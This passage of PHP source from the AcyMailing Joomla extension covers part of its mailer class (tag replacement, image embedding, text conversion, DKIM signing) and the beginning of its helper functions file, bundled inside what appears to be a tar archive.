						$this->ReplyTo[$i][$a] = str_replace($keysparams, $this->parameters, $this->ReplyTo[$i][$a]);
					}
				}
			}
		}
		if(!empty($this->introtext)){
			$this->Body = $this->introtext.$this->Body;
			$this->AltBody = $this->textVersion($this->introtext).$this->AltBody;
		}


		$this->body = &$this->Body;
		$this->altbody = &$this->AltBody;
		$this->subject = &$this->Subject;
		$this->from = &$this->From;
		$this->fromName = &$this->FromName;
		$this->replyto = &$this->ReplyTo;
		$this->replyname = $this->defaultMail[$mailid]->replyname;
		$this->replyemail = $this->defaultMail[$mailid]->replyemail;
		$this->mailid = $this->defaultMail[$mailid]->mailid;
		$this->key = $this->defaultMail[$mailid]->key;
		$this->alias = $this->defaultMail[$mailid]->alias;
		$this->type = $this->defaultMail[$mailid]->type;
		$this->tempid = $this->defaultMail[$mailid]->tempid;
		$this->sentby = $this->defaultMail[$mailid]->sentby;
		$this->userid = $this->defaultMail[$mailid]->userid;
		$this->filter = $this->defaultMail[$mailid]->filter;
		$this->template = @$this->defaultMail[$mailid]->template;
		$this->language = @$this->defaultMail[$mailid]->language;
		$this->favicon = @$this->defaultMail[$mailid]->favicon;

		if(empty($receiver->key) && !empty($receiver->subid)){
			$receiver->key = acymailing_generateKey(14);
			acymailing_query('UPDATE '.acymailing_table('subscriber').' SET `key`= '.acymailing_escapeDB($receiver->key).' WHERE subid = '.(int)$receiver->subid.' LIMIT 1');
		}

		if(strpos($receiver->email, '@mail-tester.com') !== false){
			$currentUser = $this->subscriberClass->get(acymailing_currentUserEmail());
			if(empty($currentUser)) $currentUser = $receiver;
			acymailing_trigger('acymailing_replaceusertags', array(&$this, &$currentUser, true));
		}else{
			acymailing_trigger('acymailing_replaceusertags', array(&$this, &$receiver, true));
		}

		if($this->sendHTML){
			if(!empty($this->AltBody)) $this->AltBody = $this->textVersion($this->AltBody, false);
		}else{
			$this->Body = $this->textVersion($this->Body, false);
		}

		$status = $this->send();
		if($this->trackEmail){
			$helperQueue = acymailing_get('helper.queue');
			$statsAdd = array();
			$statsAdd[$this->mailid][$status][$this->sendHTML][] = $receiver->subid;
			$helperQueue->statsAdd($statsAdd);
			$this->trackEmail = false;
		}
		return $status;
	}

	protected function embedImages(){
		preg_match_all('/(src|background)=[\'|"]([^"\']*)[\'|"]/Ui', $this->Body, $images);
		$result = true;

		if(empty($images[2])) return $result;

		$mimetypes = array('bmp' => 'image/bmp', 'gif' => 'image/gif', 'jpeg' => 'image/jpeg', 'jpg' => 'image/jpeg', 'jpe' => 'image/jpeg', 'png' => 'image/png', 'tiff' => 'image/tiff', 'tif' => 'image/tiff');

		$allimages = array();

		foreach($images[2] as $i => $url){
			if(isset($allimages[$url])) continue;
			$allimages[$url] = 1;

			$path = $url;
			$base = str_replace(array('http://www.', 'https://www.', 'http://', 'https://'), '', ACYMAILING_LIVE);
			$replacements = array('https://www.'.$base, 'http://www.'.$base, 'https://'.$base, 'http://'.$base);
			foreach($replacements as $oneReplacement){
				if(strpos($url, $oneReplacement) === false) continue;
				$path = str_replace(array($oneReplacement, '/'), array(ACYMAILING_ROOT, DS), urldecode($url));
				break;
			}

			$filename = str_replace(array('%', ' '), '_', basename($url));
			$md5 = md5($filename);
			$cid = 'cid:'.$md5;
			$fileParts = explode(".", $filename);
			if(empty($fileParts[1])) continue;
			$ext = strtolower($fileParts[1]);
			if(!isset($mimetypes[$ext])) continue;
			$mimeType = $mimetypes[$ext];
			if($this->addEmbeddedImage($path, $md5, $filename, 'base64', $mimeType)){
				$this->Body = preg_replace("/".preg_quote($images[0][$i], '/')."/Ui", $images[1][$i]."=\"".$cid."\"", $this->Body);
			}else{
				$result = false;
			}
		}
		return $result;
	}

	public function textVersion($html, $fullConvert = true){

		$html = acymailing_absoluteURL($html);

		if($fullConvert){
			$html = preg_replace('# +#', ' ', $html);
			$html = str_replace(array("\n", "\r", "\t"), '', $html);
		}


		$removepictureslinks = "#< *a[^>]*> *< *img[^>]*> *< *\/ *a *>#isU";
		$removeScript = "#< *script(?:(?!< */ *script *>).)*< */ *script *>#isU";
		$removeStyle = "#< *style(?:(?!< */ *style *>).)*< */ *style *>#isU";
		$removeStrikeTags = '#< *strike(?:(?!< */ *strike *>).)*< */ *strike *>#iU';
		$replaceByTwoReturnChar = '#< *(h1|h2)[^>]*>#Ui';
		$replaceByStars = '#< *li[^>]*>#Ui';
		$replaceByReturnChar1 = '#< */ *(li|td|dt|tr|div|p)[^>]*> *< *(li|td|dt|tr|div|p)[^>]*>#Ui';
		$replaceByReturnChar = '#< */? *(br|p|h1|h2|legend|h3|li|ul|dd|dt|h4|h5|h6|tr|td|div)[^>]*>#Ui';
		$replaceLinks = '/< *a[^>]*href *= *"([^#][^"]*)"[^>]*>(.+)< *\/ *a *>/Uis';

		$text = preg_replace(array($removepictureslinks, $removeScript, $removeStyle, $removeStrikeTags, $replaceByTwoReturnChar, $replaceByStars, $replaceByReturnChar1, $replaceByReturnChar, $replaceLinks), array('', '', '', '', "\n\n", "\n* ", "\n", "\n", '${2} ( ${1} )'), $html);

		$text = preg_replace('#(&lt;|&\#60;)([^ \n\r\t])#i', '&lt; ${2}', $text);

		$text = str_replace(array(" ", "&nbsp;"), ' ', strip_tags($text));

		$text = trim(@html_entity_decode($text, ENT_QUOTES, 'UTF-8'));

		if($fullConvert){
			$text = preg_replace('# +#', ' ', $text);
			$text = preg_replace('#\n *\n\s+#', "\n\n", $text);
		}

		return $text;
	}

	public function cleanText($text){
		return trim(preg_replace('/(%0A|%0D|\n+|\r+)/i', '', (string)$text));
	}

	public function setFrom($email, $name = '', $auto = false){

		if(!empty($email)){
			$this->From = $this->cleanText($email);
		}
		if(!empty($name) AND $this->config->get('add_names', true)){
			$this->FromName = $this->cleanText($name);
		}
	}

	private function generateAllParams(){
		$result = '<table style="border:1px solid;border-collapse:collapse;" border="1" cellpadding="10"><tr><td>Tag</td><td>Value</td></tr>';
		foreach($this->parameters as $name => $value){
			if(!is_string($value)) continue;
			$result .= '<tr><td>'.$name.'</td><td>'.$value.'</td></tr>';
		}
		$result .= '</table>';
		$this->addParam('alltags', $result);
	}

	public function addParamInfo(){
		if(!empty($_SERVER)){
			$serverinfo = array();
			foreach($_SERVER as $oneKey => $oneInfo){
				$serverinfo[] = $oneKey.' => '.strip_tags(print_r($oneInfo, true));
			}
			$this->addParam('serverinfo', implode('<br />', $serverinfo));
		}

		if(!empty($_REQUEST)){
			$postinfo = array();
			foreach($_REQUEST as $oneKey => $oneInfo){
				$postinfo[] = $oneKey.' => '.strip_tags(print_r($oneInfo, true));
			}
			$this->addParam('postinfo', implode('<br />', $postinfo));
		}
	}

	public function addParam($name, $value){
		$tagName = '{'.$name.'}';
		$this->parameters[$tagName] = $value;
	}

	protected function _addReplyTo($email, $name){
		if(empty($email)) return;
		$replyToName = $this->config->get('add_names', true) ? $this->cleanText(trim($name)) : '';
		$replyToEmail = trim($email);
		if(substr_count($replyToEmail, '@') > 1){
			$replyToEmailArray = explode(';', str_replace(array(';', ','), ';', $replyToEmail));
			$replyToNameArray = explode(';', str_replace(array(';', ','), ';', $replyToName));
			foreach($replyToEmailArray as $i => $oneReplyTo){
				$this->addReplyTo($this->cleanText($oneReplyTo), @$replyToNameArray[$i]);
			}
		}else{
			$this->addReplyTo($this->cleanText($replyToEmail), $replyToName);
		}
	}

	protected function ACY_DKIM_Sign($s){
		if(!empty($this->DKIM_passphrase)){
			$privKey = openssl_pkey_get_private($this->DKIM_private, $this->DKIM_passphrase);
		}else{
			$privKey = $this->DKIM_private;
		}
		$signature = '';
		if(openssl_sign($s, $signature, $privKey)){
			return base64_encode($signature);
		}
	}

	protected function ACY_DKIM_Add($body){
		$DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
		$DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
		$DKIMquery = 'dns/txt'; // Query method
		$DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)

		$subject = $this->encodeHeader($this->secureHeader($this->Subject));

		$subjecta_header = "Subject: $subject";
		$from = array();
		$from[0][0] = trim($this->From);
		$from[0][1] = $this->FromName;
		$fromc_header = $this->addrAppend('From', $from);
		$toy_header = $this->addrAppend('To', $this->to);

		$body = $this->DKIM_BodyC($body);
		$DKIMlen = strlen($body); // Length of body
		$DKIMb64 = base64_encode(pack("H*", sha1($body))); // Base64 of packed binary SHA-1 hash of body
		$ident = (empty($this->DKIM_identity)) ? '' : " i=".$this->DKIM_identity.";";
		$dkimhdrs = "DKIM-Signature: v=1; a=".$DKIMsignatureType."; q=".$DKIMquery."; l=".$DKIMlen."; s=".$this->DKIM_selector.";\r\n"."\tt=".$DKIMtime."; c=".$DKIMcanonicalization."; h=from:to:subject;\r\n"."\td=".$this->DKIM_domain.";".$ident." bh=".$DKIMb64.";\r\n"."\tb=";
		$toSign = $this->DKIM_HeaderC($fromc_header."\r\n".$toy_header."\r\n".$subjecta_header."\r\n".$dkimhdrs);
		$signed = wordwrap($this->ACY_DKIM_Sign($toSign), 60, "\r\n\t", true);
		if(empty($signed)) return '';
		return $dkimhdrs.$signed."\r\n";
	}

	protected function edebug($str){
		$this->ErrorInfo .= ' '.$str;
	}

	public function setWordWrap(){
		if($this->WordWrap < 1){
			return;
		}

		if(!empty($this->AltBody)) $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
		$this->Body = $this->wrapText($this->Body, $this->WordWrap);
	}

	public function isHTML($ishtml = true){
		parent::isHTML($ishtml);
		$this->sendHTML = $ishtml;
	}

	public function getMailMIME(){
		$result = parent::getMailMIME();

		$result = rtrim($result, $this->LE);

		if($this->Mailer != 'mail'){
			$result .= $this->LE.$this->LE;
		}

		return $result;
	}

	public static function validateAddress($address, $patternselect = 'auto'){
		return true;
	}

	function triggerTagsWithRightLanguage(&$mail, $loadedToSend){
		if(!empty($mail->language) && !in_array($mail->language, acymailing_getLanguageLocale())){
			$emaillangcode = '';

			$languages = acymailing_getLanguages();
			foreach($languages as $key => $oneLang){
				if($oneLang->sef != $mail->language) continue;
				$emaillangcode = $key;
				break;
			}

			if(!empty($emaillangcode)){
				$previousLanguage = acymailing_setLanguage($emaillangcode);
				acymailing_loadLanguageFile(ACYMAILING_COMPONENT, ACYMAILING_ROOT, $emaillangcode, true);
				acymailing_loadLanguageFile(ACYMAILING_COMPONENT.'_custom', ACYMAILING_ROOT, $emaillangcode, true);
				acymailing_loadLanguageFile('joomla', ACYMAILING_BASE, $emaillangcode, true);
			}
		}

		acymailing_trigger('acymailing_replacetags', array(&$mail, &$loadedToSend));

		if(empty($previousLanguage)) return;
		acymailing_setLanguage($previousLanguage);
		acymailing_loadLanguageFile(ACYMAILING_COMPONENT, ACYMAILING_ROOT, $previousLanguage, true);
		acymailing_loadLanguageFile(ACYMAILING_COMPONENT.'_custom', ACYMAILING_ROOT, $previousLanguage, true);
		acymailing_loadLanguageFile('joomla', ACYMAILING_BASE, $previousLanguage, true);
	}
}
com_acymailing/helpers/helper.php000060400000150545152455305300013161 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

define('ACYMAILING_NAME', 'AcyMailing');
define('ACYMAILING_DBPREFIX', '#__acymailing_');
define('ACYMAILING_UPDATEURL', 'https://www.acyba.com/index.php?option=com_updateme&ctrl=update&task=');
define('ACYMAILING_SPAMURL', 'https://www.acyba.com/index.php?option=com_updateme&ctrl=spamsystem&task=');
define('ACYMAILING_HELPURL', 'https://www.acyba.com/index.php?option=com_updateme&ctrl=doc&component='.ACYMAILING_NAME.'&page=');
define('ACYMAILING_REDIRECT', 'https://www.acyba.com/index.php?option=com_updateme&ctrl=redirect&page=');

if(!defined('DS')) define('DS', DIRECTORY_SEPARATOR);
include_once(rtrim(dirname(__DIR__),DS).DS.'compat'.DS.'joomla.php');

if(is_callable("date_default_timezone_set")) date_default_timezone_set(@date_default_timezone_get());

function acymailing_getEmailRegex($secureJS = false, $forceRegex = false){
	$config = acymailing_config();
	if($forceRegex || $config->get('special_chars', 0) == 0){
		$regex = '[a-z0-9!#$%&\'*+\/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&\'*+\/=?^_`{|}~-]+)*\@([a-z0-9-]+\.)+[a-z0-9]{2,10}';
	}else{
		$regex = '.+\@(.+\.)+.{2,10}';
	}

	if($secureJS) $regex = str_replace(array('"', "'"), array('\"', "\'"), $regex);

	return $regex;
}

function acymailing_level($level){
    $config = acymailing_config();
    if($config->get($config->get('level'), 0) >= $level) return true;
    return false;
}

function acymailing_navigationTabs(){
    if(acymailing_isNoTemplate() || !acymailing_isAdmin() || !ACYMAILING_J40) return;

    $pages = array(
        'list' => array(
            'LISTS' => array('ctrl' => 'list', 'task' => ''),
            'ACY_DISTRIBUTION' => array('ctrl' => 'action', 'task' => '')
        ),
        'subscriber' => array(
            'ACY_SUBSCRIBER' => array('ctrl' => 'subscriber', 'task' => ''),
            'IMPORT' => array('ctrl' => 'data', 'task' => 'import'),
            'ACY_EXPORT' => array('ctrl' => 'data', 'task' => 'export'),
            'ACY_MASS_ACTIONS' => array('ctrl' => 'filter', 'task' => '')
        ),
        'newsletter' => array(
            'NEWSLETTERS' => array('ctrl' => 'newsletter', 'task' => ''),
            'AUTONEWSLETTERS' => array('ctrl' => 'autonews', 'task' => ''),
            'ACY_CAMPAIGNS' => array('ctrl' => 'campaign', 'task' => ''),
            'QUEUE' => array('ctrl' => 'queue', 'task' => ''),
            'SIMPLE_SENDING' => array('ctrl' => 'simplemail', 'task' => 'edit'),
            'ACY_TEMPLATES' => array('ctrl' => 'template', 'task' => '')
        ),
        'stats' => array(
            'STATISTICS' => array('ctrl' => 'stats', 'task' => 'listing'),
            'DETAILED_STATISTICS' => array('ctrl' => 'stats', 'task' => 'detaillisting'),
            'CLICK_STATISTICS' => array('ctrl' => 'statsurl', 'task' => ''),
            'CHARTS' => array('ctrl' => 'diagram', 'task' => '')
        ),
        'cpanel' => array(
            'ACY_CONFIGURATION' => array('ctrl' => 'cpanel', 'task' => ''),
            'EXTRA_FIELDS' => array('ctrl' => 'fields', 'task' => ''),
            'BOUNCE_HANDLING' => array('ctrl' => 'bounces', 'task' => '')
        )
    );

    $ctrl = acymailing_getVar('cmd', 'ctrl');
    $task = acymailing_getVar('cmd', 'task');

    $page = str_replace('acymailing_', '', acymailing_getVar('cmd', 'page', ''));

    if(empty($page)){
        foreach($pages as $mainCtrl => $siblings){
            foreach($siblings as $oneSibling){
                if($oneSibling['ctrl'] == $ctrl){
                    $page = $mainCtrl;
                    break;
                }
            }

            if(!empty($page)) break;
        }
    }
    if(empty($pages[$page])) return;

    $navigationTabs = array();
    foreach($pages[$page] as $text => $oneCtrl){
        $active = false;

        if($oneCtrl['ctrl'] == $ctrl && (empty($oneCtrl['task']) || $oneCtrl['task'] == $task || (empty($task) && $oneCtrl['task'] == 'listing'))) $active = true;

        $navigationTabs[] = '<li'.($active ? ' class="active"' : '').'><a href="' . acymailing_completeLink($oneCtrl['ctrl']). (empty($oneCtrl['task']) ? '' : '&task='.$oneCtrl['task']) . '">' . acymailing_translation($text) . '</a></li>';
    }

    echo '<div class="acytabsystem"><ul class="acynavigationtabs nav nav-tabs">'.implode('', $navigationTabs).'</ul></div>';
}

function acymailing_getDate($time = 0, $format = '%d %B %Y %H:%M'){
	if(empty($time)) return '';

	if(is_numeric($format)) $format = acymailing_translation('DATE_FORMAT_LC'.$format);
	if(ACYMAILING_J16){
		$format = str_replace(array('%A', '%d', '%B', '%m', '%Y', '%y', '%H', '%M', '%S', '%a', '%I', '%p', '%w'), array('l', 'd', 'F', 'm', 'Y', 'y', 'H', 'i', 's', 'D', 'h', 'a', 'w'), $format);
		try{
			return acymailing_date($time, $format, false);
		}catch(Exception $e){
			return date($format, $time);
		}
	}else{
		static $timeoffset = null;
		if($timeoffset === null){
			$timeoffset = acymailing_getCMSConfig('offset');
		}
		return acymailing_date($time - date('Z'), $format, $timeoffset);
	}
}

function acymailing_isRobot(){
	if(empty($_SERVER)) return false;
	if(!empty($_SERVER['HTTP_USER_AGENT']) && strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'spambayes') !== false) return true;
	if(!empty($_SERVER['REMOTE_ADDR']) && version_compare($_SERVER['REMOTE_ADDR'], '64.235.144.0', '>=') && version_compare($_SERVER['REMOTE_ADDR'], '64.235.159.255', '<=')) return true;

	return false;
}

function acymailing_isAllowed($allowedGroups, $groups = null){
	if($allowedGroups == 'all') return true;
	if($allowedGroups == 'none') return false;
	if(!is_array($allowedGroups)) $allowedGroups = explode(',', trim($allowedGroups, ','));

	$currentUserid = acymailing_currentUserId();
	if(empty($currentUserid) && empty($groups) && in_array('nonloggedin', $allowedGroups)) return true;

	if(empty($groups) && empty($currentUserid)) return false;
	if(empty($groups)) $groups = acymailing_getGroupsByUser($currentUserid, false);

	if(!is_array($groups)) $groups = array($groups);
	$inter = array_intersect($groups, $allowedGroups);
	if(empty($inter)) return false;
	return true;
}

function acymailing_getFunctionsEmailCheck($controllButtons = array(), $bounce = false){
	$addressCheck = '!emailAddress.match(/^'.acymailing_getEmailRegex(true).'((,|;)'.acymailing_getEmailRegex(true).')*$/i)';

	$return = '<script language="javascript" type="text/javascript">
				function validateEmail(emailAddress, fieldName){
					if(emailAddress.length > 0 && emailAddress.indexOf("{") == -1 && '.$addressCheck.'){
						alert("Wrong email address supplied for the " + fieldName + " field: " + emailAddress);
						return false;
					}
					return true;
				}';

	if(!empty($controllButtons)){
		foreach($controllButtons as &$oneField){
			$oneField = 'pressbutton == \''.$oneField.'\'';
		}

		$return .= '
		document.addEventListener("DOMContentLoaded", function(){
			acymailing.submitbutton = function(pressbutton){
				if('.implode(' || ', $controllButtons).'){
					var emailVars = ["fromemail","replyemail"'.($bounce ? ',"bounceemail"' : '').'];
					var val = "";
					for(var key in emailVars){
						if(isNaN(key)) continue;
						val = document.getElementById(emailVars[key]).value;
						if(!validateEmail(val, emailVars[key])){
							return;
						}
					}
				}
				acymailing.submitform(pressbutton,document.adminForm);
			};
		});';
	}

	$return .= '
				</script>';

	return $return;
}

function acymailing_loadLanguage(){
	acymailing_loadLanguageFile(ACYMAILING_COMPONENT, ACYMAILING_ROOT, null, true);
	acymailing_loadLanguageFile(ACYMAILING_COMPONENT.'_custom', ACYMAILING_ROOT, null, true);
}

function acymailing_createDir($dir, $report = true, $secured = false){
	if(is_dir($dir)) return true;

	$indexhtml = '<html><body bgcolor="#FFFFFF"></body></html>';

	try{
		$status = acymailing_createFolder($dir);
	}catch(Exception $e){
		$status = false;
	}

	if(!$status){
		if($report) acymailing_display('Could not create the directory '.$dir, 'error');
		return false;
	}

	try{
		$status = acymailing_writeFile($dir.DS.'index.html', $indexhtml);
	}catch(Exception $e){
		$status = false;
	}

	if(!$status){
		if($report) acymailing_display('Could not create the file '.$dir.DS.'index.html', 'error');
	}

	if($secured){
		try{
			$htaccess = 'Order deny,allow'."\r\n".'Deny from all';
			$status = acymailing_writeFile($dir.DS.'.htaccess', $htaccess);
		}catch(Exception $e){
			$status = false;
		}

		if(!$status){
			if($report) acymailing_display('Could not create the file '.$dir.DS.'.htaccess', 'error');
		}
	}

	return $status;
}

function acymailing_getUpgradeLink($tolevel){
	$config = acymailing_config();
	return ' <a class="acyupgradelink" href="'.ACYMAILING_REDIRECT.'upgrade-acymailing-'.$config->get('level').'-to-'.$tolevel.'" target="_blank">'.acymailing_translation('ONLY_FROM_'.strtoupper($tolevel)).'</a>';
}

function acymailing_replaceDate($mydate){

	if(strpos($mydate, '{time}') === false) return $mydate;

	$mydate = str_replace('{time}', time(), $mydate);
	$operators = array('+', '-');
	foreach($operators as $oneOperator){
		if(!strpos($mydate, $oneOperator)) continue;
		list($part1, $part2) = explode($oneOperator, $mydate);
		if($oneOperator == '+'){
			$mydate = trim($part1) + trim($part2);
		}elseif($oneOperator == '-'){
			$mydate = trim($part1) - trim($part2);
		}
	}

	return $mydate;
}

function acymailing_initJSStrings($includejs = 'header', $params = null){
	static $alreadyThere = false;
	if($alreadyThere && $includejs == 'header') return;
	$alreadyThere = true;

	if(method_exists($params, 'get')){
		$nameCaption = $params->get('nametext');
		$emailCaption = $params->get('emailtext');
	}
	if(empty($nameCaption)) $nameCaption = acymailing_translation('NAMECAPTION');
	if(empty($emailCaption)) $emailCaption = acymailing_translation('EMAILCAPTION');

	$js = "	if(typeof acymailingModule == 'undefined'){
				var acymailingModule = Array();
			}
			
			acymailingModule['emailRegex'] = /^".acymailing_getEmailRegex(true)."$/i;

			acymailingModule['NAMECAPTION'] = '".str_replace("'", "\'", $nameCaption)."';
			acymailingModule['NAME_MISSING'] = '".str_replace("'", "\'", acymailing_translation('NAME_MISSING'))."';
			acymailingModule['EMAILCAPTION'] = '".str_replace("'", "\'", $emailCaption)."';
			acymailingModule['VALID_EMAIL'] = '".str_replace("'", "\'", acymailing_translation('VALID_EMAIL'))."';
			acymailingModule['ACCEPT_TERMS'] = '".str_replace("'", "\'", acymailing_translation('ACCEPT_TERMS'))."';
			acymailingModule['CAPTCHA_MISSING'] = '".str_replace("'", "\'", acymailing_translation('ERROR_CAPTCHA'))."';
			acymailingModule['NO_LIST_SELECTED'] = '".str_replace("'", "\'", acymailing_translation('NO_LIST_SELECTED'))."';
		";
	if($includejs == 'header'){
		acymailing_addScript(true, $js);
	}else{
		echo "<script type=\"text/javascript\">
					<!--
					$js
					//-->
				</script>";
	}
}

function acymailing_generateKey($length){
	$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
	$randstring = '';
	$max = strlen($characters) - 1;
	for($i = 0; $i < $length; $i++){
		$randstring .= $characters[mt_rand(0, $max)];
	}
	return $randstring;
}

function acymailing_absoluteURL($text){
	static $mainurl = '';
	if(empty($mainurl)){
		$urls = parse_url(ACYMAILING_LIVE);
		if(!empty($urls['path'])){
			$mainurl = substr(ACYMAILING_LIVE, 0, strrpos(ACYMAILING_LIVE, $urls['path'])).'/';
		}else{
			$mainurl = ACYMAILING_LIVE;
		}
	}

	$text = str_replace(array('href="../undefined/', 'href="../../undefined/', 'href="../../../undefined//', 'href="undefined/', ACYMAILING_LIVE.'http://', ACYMAILING_LIVE.'https://'), array('href="'.$mainurl, 'href="'.$mainurl, 'href="'.$mainurl, 'href="'.ACYMAILING_LIVE, 'http://', 'https://'), $text);
	$text = preg_replace('#href="(/?administrator)?/({|%7B)#Ui', 'href="$2', $text);

	$text = preg_replace('#href="http:/([^/])#Ui', 'href="http://$1', $text);

	$text = preg_replace('#href="'.preg_quote(str_replace(array('http://', 'https://'), '', $mainurl), '#').'#Ui', 'href="'.$mainurl, $text);

	$replace = array();
	$replaceBy = array();
	if($mainurl !== ACYMAILING_LIVE){

		$replace[] = '#(href|src|action|background)[ ]*=[ ]*\"(?!(\{|%7B|\[|\#|\\\\|[a-z]{3,15}:|/))(?:\.\./)#i';
		$replaceBy[] = '$1="'.substr(ACYMAILING_LIVE, 0, strrpos(rtrim(ACYMAILING_LIVE, '/'), '/') + 1);


		$subfolder = substr(ACYMAILING_LIVE, strrpos(rtrim(ACYMAILING_LIVE, '/'), '/'));
		$replace[] = '#(href|src|action|background)[ ]*=[ ]*\"'.preg_quote($subfolder, '#').'(\{|%7B)#i';
		$replaceBy[] = '$1="$2';
	}
	$replace[] = '#(href|src|action|background)[ ]*=[ ]*\"(?!(\{|%7B|\[|\#|\\\\|[a-z]{3,15}:|/))(?:\.\./|\./)?#i';
	$replaceBy[] = '$1="'.ACYMAILING_LIVE;
	$replace[] = '#(href|src|action|background)[ ]*=[ ]*\"(?!(\{|%7B|\[|\#|\\\\|[a-z]{3,15}:))/#i';
	$replaceBy[] = '$1="'.$mainurl;

	$replace[] = '#((background-image|background)[ ]*:[ ]*url\(\'?"?(?!(\\\\|[a-z]{3,15}:|/|\'|"))(?:\.\./|\./)?)#i';
	$replaceBy[] = '$1'.ACYMAILING_LIVE;

	return preg_replace($replace, $replaceBy, $text);
}

function acymailing_mainURL(&$link){
    static $mainurl = '';
    static $otherarguments = false;
    if(empty($mainurl)){
        $urls = parse_url(ACYMAILING_LIVE);
        if(isset($urls['path']) AND strlen($urls['path']) > 0){
            $mainurl = substr(ACYMAILING_LIVE, 0, strrpos(ACYMAILING_LIVE, $urls['path'])).'/';
            $otherarguments = trim(str_replace($mainurl, '', ACYMAILING_LIVE), '/');
            if(strlen($otherarguments) > 0) $otherarguments .= '/';
        }else{
            $mainurl = ACYMAILING_LIVE;
        }
    }

    if($otherarguments && strpos($link, $otherarguments) === false) $link = $otherarguments.$link;

    return $mainurl;
}

function acymailing_bytes($val){
	$val = trim($val);
	if(empty($val)){
		return 0;
	}
	$last = strtolower($val[strlen($val) - 1]);
	switch($last){
		case 'g':
			$val = intval($val) * 1073741824;
		case 'm':
			$val = intval($val) * 1048576;
		case 'k':
			$val = intval($val) * 1024;
	}

	return (int)$val;
}

function acymailing_display($messages, $type = 'success', $close = false){
	if(empty($messages)) return;

	if(!is_array($messages)) $messages = array($messages);
	if(ACYMAILING_J30 || acymailing_isAdmin()){
		if(acymailing_isAdmin() && !acymailing_isNoTemplate()) echo '<div style="padding:1px;">';
		echo '<div id="acymailing_messages_'.$type.'" class="alert alert-'.$type.' alert-block">';
		if($close && ACYMAILING_J30) echo '<button type="button" class="close" data-dismiss="alert">×</button>';
		echo '<p>'.implode('</p><p>', $messages).'</p></div>';
		if(acymailing_isAdmin() && !acymailing_isNoTemplate()) echo '</div>';
	}else{
		echo '<div id="acymailing_messages_'.$type.'" class="acymailing_messages acymailing_'.$type.'"><ul><li>'.implode('</li><li>', $messages).'</li></ul></div>';
	}
}

function acymailing_table($name, $component = true){
	$prefix = $component ? ACYMAILING_DBPREFIX : '#__';
	return $prefix.$name;
}

function acymailing_secureField($fieldName){
	if(!is_string($fieldName) OR preg_match('|[^a-z0-9#_.-]|i', $fieldName) !== 0){
		die('field "'.htmlspecialchars($fieldName, ENT_COMPAT, 'UTF-8').'" not secured');
	}
	return $fieldName;
}

function acymailing_displayErrors(){
	error_reporting(E_ALL);
	@ini_set("display_errors", 1);
}

function acymailing_increasePerf(){
	@ini_set('max_execution_time', 600);
	@ini_set('pcre.backtrack_limit', 1000000);
}

function acymailing_config($reload = false){
	static $configClass = null;
	if($configClass === null || $reload){
		$configClass = acymailing_get('class.cpanel');
		$configClass->load();
	}
	return $configClass;
}

function acymailing_listingsearch($search){
	$searchBar = '<div class="filter-search">';
	$searchBar .= '<input placeholder="'.acymailing_translation('ACY_SEARCH').'" type="text" name="search" id="search" value="'.htmlspecialchars($search, ENT_COMPAT, 'UTF-8').'" class="text_area" title="'.acymailing_translation('ACY_SEARCH').'"/>';
	$searchBar .= '<button style="float:none;" onclick="document.adminForm.task.value=\'\';document.adminForm.limitstart.value=0;this.form.submit();" class="btn tip hasTooltip" type="submit" title="'.acymailing_translation('ACY_SEARCH').'"><i class="acyicon-search"></i></button>';
	$searchBar .= '<button style="float:none;margin-left:0px;" onclick="document.adminForm.task.value=\'\';document.adminForm.limitstart.value=0;document.getElementById(\'search\').value=\'\';this.form.submit();" class="btn tip hasTooltip" type="button" title="'.acymailing_translation('JOOMEXT_RESET').'"><i class="acyicon-cancel"></i></button>';
	$searchBar .= '</div>';
	echo $searchBar;
}

function acymailing_getModuleFormName(){
	static $i = 1;
	return 'formAcymailing'.rand(1000, 9999).$i++;
}

function acymailing_initModule($params){
	$includejs = 'header';
	if(method_exists($params, 'get')) $includejs = $params->get('includejs', 'header');

	static $alreadyThere = false;
	if($alreadyThere && $includejs == 'header') return;

	$alreadyThere = true;

	acymailing_initJSStrings($includejs, $params);
	$config = acymailing_config();
	if($includejs == 'header'){
		if(ACYMAILING_J16){
			acymailing_addScript(false, ACYMAILING_JS.'acymailing_module.js?v='.str_replace('.', '', $config->get('version')), 'text/javascript', false, true);
		}else{
			acymailing_addScript(false, ACYMAILING_JS.'acymailing_module.js?v='.str_replace('.', '', $config->get('version')));
		}
	}else{
		echo "\n".'<script type="text/javascript" src="'.ACYMAILING_JS.'acymailing_module.js?v='.str_replace('.', '', $config->get('version')).'" ></script>'."\n";
	}

	$moduleCSS = $config->get('css_module', 'default');
	if(!empty($moduleCSS)){
		if($includejs == 'header'){
			acymailing_addStyle(false, ACYMAILING_CSS.'module_'.$moduleCSS.'.css?v='.filemtime(ACYMAILING_MEDIA.'css'.DS.'module_'.$moduleCSS.'.css'));
		}else{
			echo "\n".'<link rel="stylesheet" property="stylesheet" href="'.ACYMAILING_CSS.'module_'.$moduleCSS.'.css?v='.filemtime(ACYMAILING_MEDIA.'css'.DS.'module_'.$moduleCSS.'.css').'" type="text/css" />'."\n";
		}
	}
}

function acymailing_footer(){
	$config = acymailing_config();
	$description = ACYMAILING_CMS.' E-mail Marketing';
	$text = '<!-- '.ACYMAILING_NAME.' Component powered by http://www.acyba.com -->
		<!-- version '.$config->get('level').' : '.$config->get('version').' -->';
	if(acymailing_level(1) && !acymailing_level(4)) return $text;
	$level = $config->get('level');
	$text .= '<div class="acymailing_footer" align="center" style="text-align:center"><a href="https://www.acyba.com/?utm_source=acymailing-'.$level.'&utm_medium=front-end&utm_content=txt&utm_campaign=powered-by" target="_blank" title="'.ACYMAILING_NAME.' : '.str_replace('TM ', ' ', strip_tags($description)).'">'.ACYMAILING_NAME;
	$text .= ' - '.$description.'</a></div>';
	return $text;
}

function acymailing_dispSearch($string, $searchString){
	$secString = htmlspecialchars($string, ENT_COMPAT, 'UTF-8');
	if(strlen($searchString) == 0) return $secString;
